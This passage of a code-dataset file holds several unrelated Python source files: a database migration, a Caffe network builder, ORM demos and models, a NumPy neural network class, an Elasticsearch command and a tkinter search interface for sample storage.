+{"seq_id":"54087615","text":"\"\"\"removed summaries.\n\nRevision ID: c633060ef804\nRevises: 58ec866f9f20\nCreate Date: 2017-11-11 15:19:34.206371\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'c633060ef804'\ndown_revision = '58ec866f9f20'\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('summary')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('summary',\n sa.Column('id', mysql.INTEGER(display_width=11), nullable=False),\n sa.Column('created', mysql.DATETIME(), nullable=True),\n sa.Column('modified', mysql.DATETIME(), nullable=True),\n sa.Column('title', mysql.VARCHAR(length=128), nullable=True),\n sa.Column('path', mysql.VARCHAR(length=256), nullable=True),\n sa.Column('date', sa.DATE(), nullable=True),\n sa.Column('course_id', mysql.INTEGER(display_width=11), autoincrement=False, nullable=True),\n sa.Column('education_id', mysql.INTEGER(display_width=11), autoincrement=False, nullable=True),\n sa.ForeignKeyConstraint(['course_id'], ['course.id'], name='fk_summary_course_id_course'),\n sa.ForeignKeyConstraint(['education_id'], ['education.id'], name='fk_summary_education_id_education'),\n sa.PrimaryKeyConstraint('id'),\n mysql_default_charset='latin1',\n mysql_engine='InnoDB'\n )\n ### end Alembic commands ###\n","sub_path":"migrations/versions/2017_11_11_c633060ef804_removed_summaries.py","file_name":"2017_11_11_c633060ef804_removed_summaries.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"117550737","text":"import caffe\nfrom caffe import layers as L\nfrom caffe import params as P\nimport os\nimport sys\n\ndef Net(model_type):\n batch_size = 20\n # our version of LeNet: a series of linear and simple nonlinear transformations\n n = caffe.NetSpec()\n DIR = '/home/purduethu/scratch/radon/d/deng106/CNNStatisticalModel/'\n # this part will be changed by our adapter\n train = DIR + \"10distribution/data.1.30.30/train-parameters-path.txt\"\n test = DIR + \"10distribution/data.1.30.30/test-parameters-path.txt\"\n w_lr=[{'lr_mult':1},{'lr_mult':2}]\n g = 'gaussian'\n c = 'constant'\n n.data, n.label = L.Data(name=\"parameters\", type=\"HDF5Data\", include={'phase': caffe.TRAIN}, batch_size=batch_size, source=train, ntop=2)\n n.data1, n.label1 = L.Data(name=\"intercept\", type=\"HDF5Data\", top=[\"data\", \"label\"], include={'phase': caffe.TEST}, batch_size=batch_size, source=test, ntop=2)\n \n kerSize = 5\n padding = 2\n oo1 = 64\n oo2 = 64\n oo3 = 64\n oo4 = 64\n n.conv1 = L.Convolution(n.data, param=w_lr, kernel_size=kerSize, pad=padding, stride=1, num_output=oo1, weight_filler=dict(type=g, std=0.0001), bias_filler=dict(type=c))\n n.relu1 = L.ReLU(n.conv1, in_place=True)\n\n n.conv2 = L.Convolution(n.relu1, param=w_lr, kernel_size=kerSize, pad=padding, stride=1,num_output=oo1, weight_filler=dict(type=g, std=0.01), bias_filler=dict(type=c))\n n.relu2 = L.ReLU(n.conv2, in_place=True)\n n.pool2 = L.Pooling(n.relu2, kernel_size=3, stride=2, pool=P.Pooling.MAX)\n\n \n n.conv3 = L.Convolution(n.pool2, param=w_lr, kernel_size=kerSize, pad=padding, stride=1,num_output=oo2, weight_filler=dict(type=g, std=0.01), bias_filler=dict(type=c))\n n.relu3 = L.ReLU(n.conv3, in_place=True)\n\n n.conv4 = L.Convolution(n.relu3, param=w_lr, kernel_size=kerSize, pad=padding, stride=1,num_output=oo2, weight_filler=dict(type=g, std=0.01), bias_filler=dict(type=c))\n n.relu4 = L.ReLU(n.conv4, in_place=True)\n \n n.conv5 = L.Convolution(n.relu4, param=w_lr, kernel_size=kerSize, pad=padding, stride=1,num_output=oo2, weight_filler=dict(type=g, std=0.01), bias_filler=dict(type=c))\n n.relu5 = L.ReLU(n.conv5, in_place=True)\n\n\n n.pool5 = L.Pooling(n.relu5, kernel_size=3, stride=2, pool=P.Pooling.AVE)\n \n n.ip1 = L.InnerProduct(n.pool5, param=w_lr, num_output=oo3, weight_filler=dict(type='gaussian', std=0.1), bias_filler=dict(type='constant'))\n n.ip2 = L.InnerProduct(n.ip1, param=w_lr, num_output=oo4, weight_filler=dict(type='gaussian', std=0.1), bias_filler=dict(type='constant'))\n #n.ip3 = L.InnerProduct(n.ip2, param=w_lr, num_output=32, weight_filler=dict(type='gaussian', std=0.1), bias_filler=dict(type='constant'))\n if model_type == \"classification\":\n n.ip3 = L.InnerProduct(n.ip2, param=w_lr, num_output=50, weight_filler=dict(type='gaussian', std=0.1), bias_filler=dict(type='constant'))\n n.accuracy = L.Accuracy(n.ip3, n.label, include={'phase': caffe.TEST})\n n.loss = L.SoftmaxWithLoss(n.ip3, n.label)\n else:\n n.ip3 = L.InnerProduct(n.ip2, param=w_lr, num_output=1, weight_filler=dict(type='gaussian', std=0.1), bias_filler=dict(type='constant'))\n n.loss1 = L.HuberLoss(n.ip3, n.label, include={'phase': caffe.TRAIN})\n n.loss2 = L.HuberLoss(n.ip3, n.label, include={'phase': caffe.TEST})\n return n.to_proto()\n\n\n# parameter part\ninputFile = './auto_train.prototxt'\noutputFile = './protocol/parameter.baseline'\nwith open(inputFile, 'w') as f:\n f.write(str(Net('parameter')))\n\nwith open(inputFile) as f:\n fout = open(outputFile, 'w')\n for line in f:\n l = line.strip()\n if l.startswith('data_param'):\n fout.write(' hdf5_data_param {\\n')\n elif l.startswith('top: \"data1\"') or l.startswith('top: \"label1\"'):\n continue\n elif l.startswith('top: \"loss'):\n fout.write(' top: \"loss\"\\n')\n elif l.startswith('name: \"loss'):\n fout.write(' name: \"loss\"\\n')\n else:\n fout.write(line)\n\nos.system('rm ' + inputFile)\n\n# distribution part\ninputFile = './auto_train.prototxt'\noutputFile = './protocol/distribution.baseline'\nwith open(inputFile, 'w') as f:\n f.write(str(Net('classification')))\n\nwith open(inputFile) as f:\n fout = open(outputFile, 'w')\n for line in f:\n l = line.strip()\n if l.startswith('data_param'):\n fout.write(' hdf5_data_param {\\n')\n elif l.startswith('top: \"data1\"') or l.startswith('top: \"label1\"'):\n continue\n elif l.startswith('top: \"loss'):\n fout.write(' top: \"loss\"\\n')\n elif l.startswith('name: \"loss'):\n fout.write(' name: \"loss\"\\n')\n else:\n fout.write(line)\n\nos.system('rm ' + inputFile)\n","sub_path":"set_up_net_par_for_dis_par_mid.py","file_name":"set_up_net_par_for_dis_par_mid.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"403056336","text":"#! /usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom decimal import Decimal\nfrom datetime import date\n\n\n\nimport datetime as dt\nimport sys\n\n\nfrom domainics.dtable import DBSchema, dmerge\nfrom domainics.domobj import dobject, dset, identity, datt\nfrom domainics import set_dsn, transaction, dbc\nfrom domainics.dtable import dtable, tcol, dsequence\nfrom domainics.db import dbc\n\nset_dsn(sys='postgres', database=\"demo\", host='localhost', user='postgres')\n\nclass mm_po_item(dtable):\n po_no = tcol(str) \n line_no = tcol(int, doc='line number of P.O.')\n\n item_sn = tcol(int, doc='')\n item_no = tcol(str, len=12, doc='item number')\n\n qty = tcol(Decimal, len=(16,2), doc='')\n price = tcol(Decimal, len=(16,2))\n notes = tcol(str, doc='description of item')\n\n identity(po_no, line_no)\n\nclass seq_po(dsequence):\n start = 10000\n step = 1\n\nclass vendor_seq(dsequence):\n start = 10000\n step = 1\n\n\nclass mm_po(dtable):\n po_sn = tcol(seq_po, null_ok=False)\n po_no = tcol(str, doc='purchase order number')\n po_date = tcol(date, doc='P.O. date')\n vendor_sn = tcol(vendor_seq, doc='internal sn of vender')\n notes = tcol(str, doc='addtional notes')\n\n identity(po_sn)\n\nclass mm_vendor(dtable):\n vendor_sn = tcol(int)\n\n\n\n\n\nschema = DBSchema()\n\nschema.add_module('__main__')\nschema.drop()\nschema.create()\n\n@transaction\ndef test2():\n mm = mm_po(po_no='P003')\n s1 = dset(item_type=mm_po)\n s1.append(mm_po(po_no='P201'))\n s1.append(mm_po(po_no='P202'))\n s1.append(mm_po(po_no='P203'))\n\n dmerge(s1)\n\n s2 = s1.copy()\n s2[0].vendor_sn = vendor_seq()\n s2[1].vendor_sn = vendor_seq()\n dmerge(s2, s1) \n print(s2)\n\n\n@transaction\ndef test():\n s = seq_po()\n # s.value =100\n print('100, ', bool(s))\n s.value = '100'\n print('200, ', bool(s))\n print('ddd %d' % s)\n\n mm = mm_po('P003')\n print(mm)\n\n dbc << 'SELECT %s'\n dbc << (1,)\n dbc << (2,)\n dbc << [(3,), (4,)]\n\n dbc << ''\n\n dbc << 'SELECT %s' << (200,)\n\n dbc << 'select 100'\n\n s1 = dset(item_type=mm_po)\n s1.append(mm_po(po_no='P001', po_date=dt.date(2015,7,1), notes='abc'))\n s1.append(mm_po(po_no='P002', po_date=dt.date(2015,7,2), notes='xyz'))\n s1.append(mm_po(po_no='P004', po_date=dt.date(2015,7,4), notes='hij'))\n s1.append(mm_po(po_no='P003', po_date=dt.date(2015,7,3), notes='efg'))\n\n dmerge(s1, None)\n\n s2 = s1.copy()\n s2[0].notes = 'abc21'\n\n s2[2].po_date = dt.date(2015, 6, 2)\n s2[2].notes = 'abc22'\n\n dmerge(s2, s1)\n\n s3 = s2.copy()\n del s3[1]\n dmerge(s3, s2) \n\n po_no = 'P001'\n\n dbc << 'SELECT * FROM mm_po WHERE po_no=%s' \n po_old = dset(mm_po, dbc << (po_no,))\n\n po_new = po_old.copy()\n po_new[0].notes = 'test2-123'\n\n dmerge(po_new, po_old) \n print(po_new)\n\n\n\nif __name__ == '__main__':\n # main()\n test2()\n\n","sub_path":"examples/db/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"424201908","text":"#!/usr/bin/env python3\n\"\"\"This module contains the model for the DeepNeuralNetwork class\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\n\n\nclass DeepNeuralNetwork:\n \"\"\"This class defines a deep neural network performing binary\nclassification\"\"\"\n def __init__(self, nx, layers):\n \"\"\"This function initializes the data members of the Neuron class\"\"\"\n if type(nx) is not int:\n raise TypeError(\"nx must be an integer\")\n if nx < 1:\n raise ValueError(\"nx must be a positive integer\")\n if type(layers) is not list or len(layers) < 1:\n raise TypeError(\"layers must be a list of positive integers\")\n self.nx = nx\n self.__L = len(layers)\n self.__cache = {}\n self.__weights = {}\n for i in range(self.__L):\n if type(layers[i]) is not int or layers[i] <= 0:\n raise TypeError(\"layers must be a list of positive integers\")\n w = \"W{}\".format(i + 1)\n b = \"b{}\".format(i + 1)\n if i == 0:\n self.__weights[w] = (np.random.randn(layers[i], self.nx)\n * np.sqrt(2 / self.nx))\n else:\n self.__weights[w] = (np.random.randn(layers[i], layers[i-1])\n * np.sqrt(2 / layers[i - 1]))\n self.__weights[b] = np.zeros((layers[i], 1))\n\n @property\n def L(self):\n \"\"\"This function is the getter function for private attribute L\"\"\"\n return self.__L\n\n @property\n def cache(self):\n \"\"\"This function is the getter function for private attribute cache\"\"\"\n return self.__cache\n\n @property\n def weights(self):\n \"\"\"This function is the getter function for private attribute\nweights\"\"\"\n return self.__weights\n\n def forward_prop(self, X):\n \"\"\"This method calculates the forward propagation of the neural\nnetwork\"\"\"\n self.__cache['A0'] = X\n\n for i in range(self.__L):\n w = \"W{}\".format(i + 1)\n b = \"b{}\".format(i + 1)\n ap = \"A{}\".format(i)\n af = \"A{}\".format(i + 1)\n\n z = np.matmul(self.__weights[w], self.__cache[ap]) \\\n + self.__weights[b]\n\n if i == self.__L - 1:\n self.__cache[af] = (np.exp(z)/np.sum(np.exp(z), axis=0,\n keepdims=True))\n else:\n self.__cache[af] = 1 / (1 + np.exp(-z))\n return self.__cache[af], self.__cache\n\n def cost(self, Y, A):\n \"\"\"This method calculates the cost of the model using logistic\nregression\"\"\"\n return (-1 / (Y.shape[1])) * np.sum(Y * np.log(A))\n\n def evaluate(self, X, Y):\n \"\"\"This method evaluates the neural network’s predictions\"\"\"\n self.forward_prop(X)[0]\n a = \"A{}\".format(self.__L)\n macs = np.amax(self.__cache[a], axis=0)\n return (np.where(self.__cache[a] == macs, 1, 0),\n self.cost(Y, self.__cache[a]))\n\n def gradient_descent(self, Y, cache, alpha=0.05):\n \"\"\"This method calculates one pass of gradient descent on the neural\nnetwork\"\"\"\n sz = Y.shape[1]\n diff = self.__cache[\"A{}\".format(self.__L)] - Y\n for i in range(self.__L, 0, -1):\n a = \"A{}\".format(i - 1)\n w = \"W{}\".format(i)\n b = \"b{}\".format(i)\n dub = (1 / sz) * np.matmul(diff, self.__cache[a].T)\n bee = (1 / sz) * np.sum(diff, axis=1, keepdims=True)\n diff = np.matmul(self.__weights[w].T, diff) * (\n self.cache[a] * (1 - self.cache[a]))\n self.__weights[w] = self.__weights[w] - alpha * dub\n self.__weights[b] = self.__weights[b] - alpha * bee\n\n def train(self, X, Y, iterations=5000, alpha=0.05,\n verbose=True, graph=True, step=100):\n \"\"\"This method trains the deep neural network by updating the private\nattributes __weights and __cache\"\"\"\n if type(iterations) is not int:\n raise TypeError(\"iterations must be an integer\")\n if iterations <= 0:\n raise ValueError(\"iterations must be a positive integer\")\n if type(alpha) is not float:\n raise TypeError(\"alpha must be a float\")\n if alpha <= 0:\n raise ValueError(\"alpha must be positive\")\n if verbose is True or graph is True:\n if type(step) is not int:\n raise TypeError(\"step must be an integer\")\n if step <= 0 or step > iterations:\n raise ValueError(\"step must be positive and <= iterations\")\n cost = []\n iters = []\n for i in range(iterations):\n self.forward_prop(X)\n self.gradient_descent(Y, self.cache, alpha)\n if i % step == 0 or i == iterations:\n c = self.cost(Y, self.__cache[\"A{}\".format(self.L)])\n cost.append(c)\n iters.append(i)\n if verbose is True:\n print(\"Cost after {} iterations: {}\".format(i, c))\n if graph is True:\n plt.plot(iters, cost)\n plt.xlabel(\"iteration\")\n plt.ylabel(\"cost\")\n plt.title(\"Training Cost\")\n plt.show()\n return self.evaluate(X, Y)\n\n def save(self, filename):\n \"\"\"This method saves the instance object to a file in pickle format\"\"\"\n if not filename:\n return None\n if filename[-4:] != \".pkl\":\n filename = filename + \".pkl\"\n with open(filename, 'wb') as f:\n pickle.dump(self, f)\n\n @staticmethod\n def load(filename):\n \"\"\"This static method loads a pickled DeepNeuralNetwork object\"\"\"\n try:\n with open(filename, 'rb') as f:\n ret = pickle.load(f)\n return ret\n except FileNotFoundError:\n return None\n","sub_path":"supervised_learning/0x01-classification/27-deep_neural_network.py","file_name":"27-deep_neural_network.py","file_ext":"py","file_size_in_byte":5903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"568798529","text":"#\nimport json\nfrom ShareYourSystem.Functions import Tool\nfrom ShareYourSystem.Classors import Classor,Representer\nfrom ShareYourSystem.Functers import Argumenter\nimport importlib\nBaseModule=importlib.import_module(\"ShareYourSystem.Object.Loader\")\nDecorationModule=importlib.import_module(\"ShareYourSystem.Classors.Classer\")\n# \n\n#\nBaseNameString=Classor.getNameStringWithModuleString(BaseModule.__name__)\nBaseClass=getattr(\n\t\t\t\t\t\tBaseModule,\n\t\t\t\t\t\tClassor.getClassStringWithNameString(BaseNameString)\n\t\t\t\t\t\t)\nDecorationNameString=Classor.getNameStringWithModuleString(DecorationModule.__name__)\nDecorationClass=getattr(\n\t\t\t\t\t\t\tDecorationModule,\n\t\t\t\t\t\t\tClassor.getClassStringWithNameString(DecorationNameString)\n\t\t\t\t\t\t\t)\n# \n\n#\n@DecorationClass()\nclass WriterClass(BaseClass):\n\t\n\t#@Hooker.HookerClass(**{'HookingAfterVariablesList':[{'CallingVariable':BaseClass.init}]})\n\tdef __init__(self,\n\t\t\t\t\t\t_WritingStoreVariable=None,\n\t\t\t\t\t\t**_KwargVariablesDict\n\t\t\t\t\t):\n\n\t\t#Call the parent __init__ method\n\t\tBaseClass.__init__(self,**_KwargVariablesDict)\n\n\t@Argumenter.ArgumenterClass()\n\tdef write(self,_StoreVariable,**_KwargVariablesDict):\n\n\t\t#Debug\n\t\t'''\n\t\tself.debug(('self.',self,[\n\t\t\t\t\t\t\t\t\t'FiledPointer',\n\t\t\t\t\t\t\t\t\t'LoadingFormatString',\n\t\t\t\t\t\t\t\t\t'WritingStoreVariable'\n\t\t\t\t\t\t\t\t]))\n\t\t'''\n\n\t\t#Check\n\t\tif self.LoadingFormatString=='txt':\n\n\t\t\t#Read the FiledPointer\n\t\t\tself.FiledPointer.write(self.WritingStoreVariable)\n\n\t\telif self.LoadingFormatString=='json':\n\n\t\t\t#Use the json decoder\n\t\t\tself.FiledPointer.write(json.dumps(self.WritingStoreVariable,indent=2))\n\n\t\t#Return self\n\t\treturn self\n\t\n# \n\n","sub_path":"Install/ShareYourSystem/Object/Writer/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"206931880","text":"from . import db\nfrom datetime import datetime\n\n\nclass Category(db.Model):\n\n __tablename__ = 'categories'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(64), unique=True)\n description = db.Column(db.String(1500), nullable=False)\n image = db.Column(db.String(60), nullable=False, default='defaultcity.jpg')\n products = db.relationship(\n 'Product', backref='Category', cascade=\"all, delete-orphan\")\n\n def __repr__(self):\n str = \"Id: {}, Name: {}, Description: {}, Image: {} \\n\"\n str = str.format(self.id, self.name, self.description, self.image)\n return str\n\n\norderdetails = db.Table('orderdetails',\n db.Column('order_id', db.Integer, db.ForeignKey(\n 'orders.id'), nullable=False),\n db.Column('product_id', db.Integer, db.ForeignKey(\n 'products.id'), nullable=False),\n db.PrimaryKeyConstraint('order_id', 'product_id'))\n\n\nclass Product(db.Model):\n\n __tablename__ = 'products'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(64), nullable=False)\n description = db.Column(db.String(1500), nullable=False)\n image = db.Column(db.String(60), nullable=False)\n price = db.Column(db.Float, nullable=False)\n date = db.Column(db.DateTime, nullable=False)\n category_id = db.Column(db.Integer, db.ForeignKey('categories.id'))\n\n def __repr__(self):\n str = \"Id: {}, Name: {}, Description: {}, Image: {}, Price: {}, Category: {}, Date: {}\\n\"\n str = str.format(self.id, self.name, self.description,\n self.image, self.price, self.category_id, self.date)\n return str\n\n\nclass Order(db.Model):\n __tablename__ = 'orders'\n id = db.Column(db.Integer, primary_key=True)\n status = db.Column(db.Boolean, default=False)\n firstname = db.Column(db.String(64))\n surname = db.Column(db.String(64))\n email = db.Column(db.String(128))\n phone = db.Column(db.String(32))\n totalcost = db.Column(db.Float)\n date = db.Column(db.DateTime)\n products = db.relationship(\n \"Product\", secondary=orderdetails, backref=\"orders\")\n\n def __repr__(self):\n str = \"id: {}, Status: {}, Firstname: {}, Surname: {}, Email: {}, Phone: {}, Date: {}, Products: {}, Total Cost: {}\\n\"\n str = str.format(self.id, self.status, self.firstname, self.surname,\n self.email, self.phone, self.date, self.products, self.total_cost)\n return str\n","sub_path":"ModSelector_App/modselector/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"563044025","text":"from elastic.elastic_model import TermsFilter, ElasticQuery, Query, Search\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n ''' Script to test run criteria searches and optimise. '''\n\n def handle(self, *args, **options):\n query_terms = [\"GDXHsS00001\", 'Ptpn22', 'ctla4', 'rs2476601', '26191', 'akt3', 'duxp', '1p13.2']\n # query_terms = [line.strip() for line in open('2000_genes')]\n query_terms_lower = [s.lower() for s in query_terms]\n\n terms_filter = TermsFilter.get_terms_filter(\"alias\", query_terms_lower)\n query = ElasticQuery.filtered(Query.match_all(), terms_filter)\n elastic = Search(query, idx='marker_alias,gene_alias,locus_alias,study_alias', size=2000000)\n\n hits = elastic.get_json_response()['hits']['hits']\n result_dict = {}\n query_term_dict = {}\n for hit in hits:\n if hit['_index'] == 'marker_alias':\n self._add_internal_id('marker', hit['_source'], result_dict, query_term_dict, query_terms_lower)\n elif hit['_index'] == 'gene_alias':\n self._add_internal_id('gene', hit['_source'], result_dict, query_term_dict, query_terms_lower)\n elif hit['_index'] == 'locus_alias':\n self._add_internal_id('locus', hit['_source'], result_dict, query_term_dict, query_terms_lower)\n elif hit['_index'] == 'study_alias':\n self._add_internal_id('study', hit['_source'], result_dict, query_term_dict, query_terms_lower)\n\n for type_key in result_dict:\n terms_filter = TermsFilter.get_terms_filter(\"Primary id\", result_dict[type_key])\n query = ElasticQuery.filtered(Query.match_all(), terms_filter)\n elastic = Search(query, idx='imb_criteria/'+type_key, size=2000000)\n hits = elastic.get_json_response()['hits']['hits']\n\n print()\n print(type_key+' :: '+str(len(hits)))\n for hit in hits:\n pid = hit['_source']['Primary id']\n qid = query_term_dict[type_key][pid]\n m = ''\n for q in qid:\n if q.lower() in query_terms_lower:\n m = q\n break\n\n print(pid+' matches '+m+' '+hit['_source']['Object class']+' '+hit['_source']['Name'])\n\n def _add_internal_id(self, name, hit, result_dict, query_term_dict, query_terms_lower):\n internal_id = hit['internal_id']\n if name in result_dict:\n if internal_id not in result_dict[name]:\n result_dict[name].append(internal_id)\n else:\n result_dict[name] = [internal_id]\n\n if name not in query_term_dict:\n query_term_dict[name] = {}\n\n query_term_dict[name][internal_id] = hit['alias']\n# for alias in hit['alias']:\n# alias_lc = alias.lower()\n#\n# if internal_id in query_term_dict[name]:\n# if alias not in query_term_dict[name][internal_id]:\n# query_term_dict[name][internal_id].append(alias)\n# else:\n# query_term_dict[name][internal_id] = [alias]\n","sub_path":"django_template/local_apps/db/management/commands/run_criteria.py","file_name":"run_criteria.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"69867831","text":"import tkinter as tk\nfrom tkinter.font import Font\nimport SetupAPI\nimport sqlite3\nimport DataAPI\nimport Main_UI\nimport DisplayFridges\nimport DisplayBoxes\nimport DisplaySamples\n\n##########---------->START: WINDOW FOR SEARCHING FRIDGES<-------##########\n\ndef SearchFridge_Window(conn):\n window_SearchFridge = tk.Tk()\n window_SearchFridge.title(\"SEARCH FRIDGE WINDOW\")\n window_SearchFridge[\"bg\"] = 'cadet blue'\n \n text = tk.Text(window_SearchFridge)\n myFont = Font(family=\"fixedsys\", size=12)\n text.configure(font=myFont)\n\n #--------------------\n def OpenAllFridges():\n DisplayFridges.OpenAllFridges(conn)\n\n searchButton = tk.Button(window_SearchFridge, text='Display All Fridges', command=OpenAllFridges, font=myFont)\n searchButton.grid(row=1, column=2, sticky = \"ew\")\n #--------------------\n searchLabel1 = tk.Label(window_SearchFridge, text = 'Fridge ID:', anchor = \"w\", font=myFont, bg = 'cadet blue').grid(row=3, column = 1)\n searchField1 = tk.Entry(window_SearchFridge)\n searchField1.grid(row=3, column=2, sticky = \"ew\")\n\n def runDisplayFridges():\n DisplayFridges.OpenFridgeSearch(conn, searchField1.get())\n\n searchButton1 = tk.Button(window_SearchFridge, text='Search', command=runDisplayFridges, font=myFont)\n searchButton1.grid(row=3, column=3, sticky = \"ew\")\n #--------------------\n searchLabel2 = tk.Label(window_SearchFridge, text = 'Fridge Temperature:', anchor = \"w\", font=myFont, bg = 'cadet blue').grid(row=4, column = 1)\n searchField2 = tk.Entry(window_SearchFridge)\n searchField2.grid(row=4, column=2, sticky = \"ew\")\n\n def runDisplayTemperatures():\n DisplayFridges.OpenTemperatureSearch(conn, searchField2.get())\n\n searchButton2 = tk.Button(window_SearchFridge, text='Search', command=runDisplayTemperatures, font=myFont)\n searchButton2.grid(row=4, column=3, sticky = \"ew\")\n #--------------------\n searchLabel3 = tk.Label(window_SearchFridge, text = 'Number of Shelves:', font=myFont, bg = 'cadet blue', anchor = \"w\").grid(row=5, column = 1)\n searchField3 = tk.Entry(window_SearchFridge)\n searchField3.grid(row=5, column=2, sticky = \"ew\")\n\n def runDisplayShelves():\n DisplayFridges.OpenNumShelvesSearch(conn, searchField3.get())\n\n searchButton3 = tk.Button(window_SearchFridge, text='Search', command=runDisplayShelves, font=myFont)\n searchButton3.grid(row=5, column=3, sticky = \"ew\")\n #--------------------\n def Open_MainMenu_Window():\n window_SearchFridge.destroy()\n MainSearch_Window(conn)\n\n returnButton = tk.Button(window_SearchFridge, text='Back to Fridge Menu', command=Open_MainMenu_Window, font=myFont)\n returnButton.grid(row=7, column=2, sticky = \"ew\")\n #--------------------\n\n tk.Label(window_SearchFridge, height = 1, width = 2, bg=\"cadet blue\").grid(row =0, column =0)\n tk.Label(window_SearchFridge, height = 1, width = 2, bg=\"cadet blue\").grid(row =2, column =0)\n tk.Label(window_SearchFridge, height = 1, width = 2, bg=\"cadet blue\").grid(row =6, column =0)\n tk.Label(window_SearchFridge, height = 1, width = 2, bg=\"cadet blue\").grid(row =8, column =4)\n\n window_SearchFridge.mainloop()\n##########---------->END: WINDOW FOR SEARCHING FRIDGES<-------##########\n\n##########---------->START: WINDOW FOR SEARCHING BOXES<------##########\n\n\ndef SearchBox_Window(conn):\n window_SearchBox = tk.Tk()\n window_SearchBox.title(\"SEARCH BOX WINDOW\")\n #window_SearchBox.geometry(\"400x250\")\n window_SearchBox[\"bg\"] = 'cadet blue'\n \n text = tk.Text(window_SearchBox)\n myFont = Font(family=\"fixedsys\", size=12)\n text.configure(font=myFont)\n\n #--------------------\n def Open_AllBoxes():\n DisplayBoxes.OpenAllBoxes(conn)\n\n displayBoxesButton = tk.Button(window_SearchBox, text='Display All Boxes', command=Open_AllBoxes, font = myFont)\n displayBoxesButton.grid(row=1, column=2, sticky = \"ew\")\n #--------------------\n searchLabel1 = tk.Label(window_SearchBox, text = 'Box ID:', anchor = \"w\", font = myFont, bg = 'cadet blue').grid(row=3, column = 1)\n searchField1 = tk.Entry(window_SearchBox)\n searchField1.grid(row=3, column=2, sticky = \"ew\")\n \n def runDisplayBoxes():\n DisplayBoxes.OpenBoxIDSearch(conn, searchField1.get())\n\n searchButton1 = tk.Button(window_SearchBox, text='Search', command= runDisplayBoxes, font = myFont)\n searchButton1.grid(row=3, column=3, sticky = \"ew\")\n #--------------------\n searchLabel2 = tk.Label(window_SearchBox, text = 'Fridge ID:', anchor = \"w\", font = myFont, bg = 'cadet blue').grid(row = 4, column = 1)\n searchField2 = tk.Entry(window_SearchBox)\n searchField2.grid(row=4, column=2, sticky = \"ew\")\n\n def runDisplayFridgeID():\n \tDisplayBoxes.OpenFridgeIDSearch(conn, searchField2.get())\n\n searchButton2 = tk.Button(window_SearchBox, text = 'Search', command=runDisplayFridgeID, font = myFont)\n searchButton2.grid(row=4, column=3, sticky = \"ew\")\n #--------------------\n def Open_MainMenu_Window():\n window_SearchBox.destroy()\n MainSearch_Window(conn)\n\n ReturnButton = tk.Button(window_SearchBox, text='Back to Box Menu', command=Open_MainMenu_Window, font = myFont).grid(row=6, column=2)\n #--------------------\n\n tk.Label(window_SearchBox, height = 1, width = 2, bg=\"cadet blue\").grid(row =0, column =0)\n tk.Label(window_SearchBox, height = 1, width = 2, bg=\"cadet blue\").grid(row =2, column =0)\n tk.Label(window_SearchBox, height = 1, width = 2, bg=\"cadet blue\").grid(row =5, column =0)\n tk.Label(window_SearchBox, height = 1, width = 2, bg=\"cadet blue\").grid(row =7, column = 4)\n\n window_SearchBox.mainloop()\n\n##########---------->END: WINDOW FOR SEARCHING BOXES<------##########\n\n##########---------->START: WINDOW FOR SEARCHING SAMPLES<-----##########\ndef SearchSample_Window(conn):\n\twindow_SampleSearch = tk.Tk()\n\twindow_SampleSearch.title(\"SAMPLE SEARCH MENU\")\n\t#window_SampleSearch.geometry(\"300x300\")\n\twindow_SampleSearch[\"bg\"] = 'cadet blue'\n\n\ttext = tk.Text(window_SampleSearch)\n\tmyFont = Font(family='fixedsys', size=12)\n\ttext.configure(font=myFont)\n\n\tdef OpenAllSamples():\n\t\tDisplaySamples.OpenAllSamples(conn)\n\n\tDisplayButton = tk.Button(window_SampleSearch, text = 'Display All Samples', command=OpenAllSamples, font=myFont).grid(row=0, column=2, sticky = \"ew\")\n\t\n\n\n\t#--------------------------------\n\tsearchLabel1 = tk.Label(window_SampleSearch, text = 'Sample ID:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=3, column =1)\n\tsearchField1 = tk.Entry(window_SampleSearch).grid(row = 3, column = 2, sticky = \"ew\")\n\n\tdef runDisplaySamples():\n\t\tDisplaySamples.OpenSampleSearch(conn, searchField1.get())\n\n\tsearchButton1 = tk.Button(window_SampleSearch, text='Search', command = runDisplaySamples, font = myFont).grid(row=3, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\n\n\n\t#--------------------------------\n\tsearchLabel2 = tk.Label(window_SampleSearch, text = 'Box ID:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=4, column =1)\n\tsearchField2 = tk.Entry(window_SampleSearch).grid(row = 4, column = 2, sticky = \"ew\")\n\n\tdef runDisplayBoxID():\n\t\tDisplaySamples.OpenBoxIDSearch(conn, searchField2.get())\n\n\tsearchButton2 = tk.Button(window_SampleSearch, text='Search', command = runDisplayBoxID, font = myFont).grid(row=4, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\t\n\n\n\t#--------------------------------\n\tsearchLabel3 = tk.Label(window_SampleSearch, text = 'Sample Type:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=5, 